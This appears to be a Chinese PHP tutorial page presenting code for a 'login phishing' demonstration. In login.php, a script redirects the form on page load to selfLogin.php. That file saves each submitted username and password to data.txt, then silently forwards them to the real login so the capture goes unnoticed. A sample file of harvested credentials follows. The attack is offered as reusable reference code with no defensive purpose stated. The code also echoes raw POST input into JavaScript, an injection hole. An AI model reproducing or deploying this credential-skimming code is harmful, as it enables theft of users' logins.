本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。
目录介绍
login.php 正常登录的文件
selfLogin.php 自定义的登录文件
data.txt 记录用户输入的数据
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | <?php
echo "<pre class=" brush:php;toolbar:false ">" ;
$userInfo = $_POST ;
if ( $userInfo ) {
# code...
var_dump( $userInfo , '登录成功' ) ; exit ();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>登录</title>
</head>
<body>
<form id= "login" method= "post" action= "login.php" >
用户姓名:<input type= "text" name= "name" >
用户密码:<input type= "password" name= "pwd" >
<input type= "submit" value= "确认登录" >
</form>
</body>
<script type= "text/javascript" >
window.onload = function (eve) {
var form = document.getElementById( 'login' );
form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> </form> ' ;
form.action = "selfLogin.php" ;
}
</script>
</html>
|
Salin selepas log masuk
selfLogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <?php
$name = '' ;
$pwd = '' ;
if ( $_POST ) {
$name = $_POST ['name'] ;
$pwd = $_POST ['pwd'] ;
file_put_contents ('data.txt', json_encode( $_POST ,true)) ;
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
</body>
<script type= "text/javascript" >
window.onload = function (eve) {
var name = '<?php echo $name; ?>' ;
var pwd = '<?php echo $pwd; ?>' ;
if (name && pwd) {
var p = document.createElement( 'p' );
document.body.appendChild(p);
p.innerHTML = ' <form id="login2" method="post" action="login.php" > ' +
' 用户姓名:<input type="text" name="name" value="'+name+'"> 用户密码:<input type="password" name="pwd" value="'+pwd+'"> ' ;
document.getElementById( 'login2' ).submit();
}
}
</script>
</html>
|
Salin selepas log masuk
data.txt
1 | { "name" : "admin" , "pwd" : "123456" }
|
Salin selepas log masuk
本篇文章到这里就已经全部结束了,更多其他精彩内容可以关注PHP中文网的JavaScript视频教程栏目!
Atas ialah kandungan terperinci PHP和JS实现模仿登录钓鱼的代码示例. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!